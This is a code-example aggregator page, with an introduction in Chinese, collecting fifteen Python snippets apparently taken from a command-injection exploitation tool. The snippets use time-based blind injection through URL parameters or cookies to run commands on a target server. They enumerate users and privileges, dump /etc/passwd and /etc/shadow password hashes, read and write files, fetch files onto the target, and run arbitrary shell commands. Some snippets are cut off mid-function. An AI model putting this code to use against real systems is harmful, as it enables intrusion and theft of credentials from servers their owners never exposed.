本文整理汇总了Python中src.core.injections.semiblind_based.techniques.tempfile_based.tfb_injector.injection函数的典型用法代码示例。如果您正苦于以下问题:Python injection函数的具体用法?Python injection怎么用?Python injection使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了injection函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: current_user
def current_user(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
cmd = settings.CURRENT_USER
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
check_how_long, output = tfb_injector.cookie_injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
else:
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
is_root = output
if is_root:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
if is_root != "0":
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
sys.stdout.flush()
示例2: system_information
def system_information(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.RECOGNISE_OS
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
target_os = output
if target_os:
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os)
output_file.write(" and the hardware platform is " + target_arch + ".\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + "\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os + ".\n")
output_file.close()
示例3: file_write
def file_write(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
sys.stdout.flush()
if not settings.TMP_PATH in menu.options.file_dest:
file_name = os.path.split(menu.options.file_dest)[1]
dest_to_write = settings.TMP_PATH + file_name
else:
dest_to_write = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_write
# Execute command
cmd = settings.FILE_WRITE + " '"+ content + "' "
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
# Check if file exists!
cmd = "echo $(ls " + dest_to_write + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
sys.stdout.flush()
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
示例4: system_passwords
def system_passwords(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
sys.stdout.write("\n(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys_passes = output
if sys_passes :
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace("(@)","\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
print " ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") " + fields[0] + " : " + fields[1])
output_file.close()
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
示例5: hostname
def hostname(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
cmd = settings.HOSTNAME
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
sys.stdout.flush()
示例6: file_read
def file_read(
separator,
maxlen,
TAG,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
):
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
# if menu.options.verbose:
# print ""
sys.stdout.write(
Style.BRIGHT + "\n\n (!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : "
)
sys.stdout.flush()
print shell
output_file = open(filename, "a")
output_file.write(" (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
output_file.close()
else:
sys.stdout.write(
"\n"
+ Fore.YELLOW
+ "(^) Warning: It seems that you don't have permissions to read the '"
+ file_to_read
+ "' file."
+ Style.RESET_ALL
)
sys.stdout.flush()
示例7: single_os_cmd_exec
def single_os_cmd_exec(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
cmd = menu.options.os_cmd
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell)
print "\n\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
sys.exit(0)
示例8: single_os_cmd_exec
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
cmd = menu.options.os_cmd
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
if shell != "":
shell = "".join(str(p) for p in shell)
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
sys.exit(0)
示例9: system_users
def system_users(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
sys.stdout.flush()
cmd = settings.SYS_USERS
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys_users = output
if sys_users :
sys_users = "".join(str(p) for p in sys_users)
sys_users = sys_users.replace("(@)","\n")
sys_users = sys_users.split( )
if len(sys_users) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n")
output_file.close()
count = 0
for line in sys_users:
count = count + 1
fields = line.split(":")
# System users privileges enumeration
if menu.options.privileges:
if int(fields[1]) == 0:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privilleged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privilleged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privilleged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privilleged_nh = " is non-trusted user "
else:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privilleged_nh = " is regular user "
else :
is_privilleged = ""
is_privilleged_nh = ""
else :
is_privilleged = ""
is_privilleged_nh = ""
print " ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + ").Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") '" + fields[0]+ "'" + is_privilleged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
else:
print Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "' to enumerate users entries." + Style.RESET_ALL + "\n"
示例10: do_check
def do_check(separator,maxlen,TAG,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell):
# Current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
print "\n\n" + " (+) Current User : "+ colors.YELLOW + colors.BOLD + output + colors.RESET + ""
# Is-root enumeration
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
sys.stdout.write( "\n\n" + " (+) Current user have root privs :")
sys.stdout.flush()
if output != "0":
print colors.RED + " FALSE " + colors.RESET
else:
print colors.GREEN + " TRUE " + colors.RESET
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
print "\n\n" + " (+) Hostname : "+ colors.YELLOW + colors.BOLD + output + colors.RESET + ""
# Single os-shell execution
if menu.options.os_shell:
cmd = menu.options.os_shell
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
if menu.options.verbose:
print ""
print "\n\n" + colors.GREEN + colors.BOLD + output + colors.RESET
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
sys.exit(0)
# eof
示例11: file_read
def file_read(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) Contents of file " + Style.UNDERLINE + file_to_read + Style.RESET_ALL + " : ")
sys.stdout.flush()
print shell
else:
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + Style.RESET_ALL)
sys.stdout.flush()
示例12: system_passwords
def system_passwords(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys_passes = output
if sys_passes :
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
print " ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") " + fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
print ""
else:
print Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL + "\n"
示例13: do_check
def do_check(separator,maxlen,TAG,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell):
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# "Retrieve certain system information (operating system, hardware platform)
if menu.options.sys_info:
cmd = settings.RECOGNISE_OS
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
target_os = output
if target_os:
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + "\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# The current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
if shell:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
if shell != "0":
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# System users enumeration
if menu.options.users:
sys.stdout.write("\n(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
sys.stdout.flush()
cmd = settings.SYS_USERS
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
sys_users = output
if sys_users :
sys_users = "".join(str(p) for p in sys_users)
sys_users = sys_users.replace("(@)","\n")
sys_users = sys_users.split( )
if len(sys_users) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
count = 0
for line in sys_users:
count = count + 1
fields = line.split(":")
# System users privileges enumeration
if menu.options.privileges:
if int(fields[1]) == 0:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
elif int(fields[1]) == 60002:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
else:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
else :
is_privilleged = ""
else :
is_privilleged = ""
print " ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + ").Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'."
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
# System users enumeration
if menu.options.passwords:
sys.stdout.write("\n(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
#.........这里部分代码省略.........
示例14:
dest_to_upload = settings.TMP_PATH + file_name
else:
dest_to_upload = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_upload
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
## Check if file exists!
cmd = "echo $(ls " + dest_to_upload + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
sys.stdout.flush()
else:
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_upload + "' file." + Style.RESET_ALL + "\n")
示例15: do_check
def do_check(separator,maxlen,TAG,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell):
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(colors.BOLD + "\n\n (!) The hostname is " + colors.UNDERL + shell + colors.RESET + ".\n")
sys.stdout.flush()
# "Retrieve certain system information (operating system, hardware platform)
if menu.options.sys_info:
cmd = settings.RECOGNISE_OS
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
target_os = output
if target_os:
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(colors.BOLD + "\n\n (!) The target operating system is " + colors.UNDERL + target_os + colors.RESET)
sys.stdout.write(colors.BOLD + " and the hardware platform is " + colors.UNDERL + target_arch + colors.RESET + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(colors.BOLD + "\n (!) The target operating system is " + colors.UNDERL + target_os + colors.RESET + ".\n")
sys.stdout.flush()
# The current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
if shell:
sys.stdout.write(colors.BOLD + "\n\n (!) The current user is " + colors.UNDERL + cu_account + colors.RESET)
if shell != "0":
sys.stdout.write(colors.BOLD + " and it is " + colors.UNDERL + "not" + colors.RESET + colors.BOLD + " privilleged" + colors.RESET + ".")
sys.stdout.flush()
else:
sys.stdout.write(colors.BOLD + " and it is " + colors.UNDERL + "" + colors.RESET + colors.BOLD + " privilleged" + colors.RESET + ".")
sys.stdout.flush()
else:
sys.stdout.write(colors.BOLD + "\n(!) The current user is " + colors.UNDERL + cu_account + colors.RESET + ".")
sys.stdout.flush()
print ""
# Single os-shell execution
if menu.options.os_shell:
cmd = menu.options.os_shell
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell)
print "\n" + colors.GREEN + colors.BOLD + output + colors.RESET
sys.exit(0)
# eof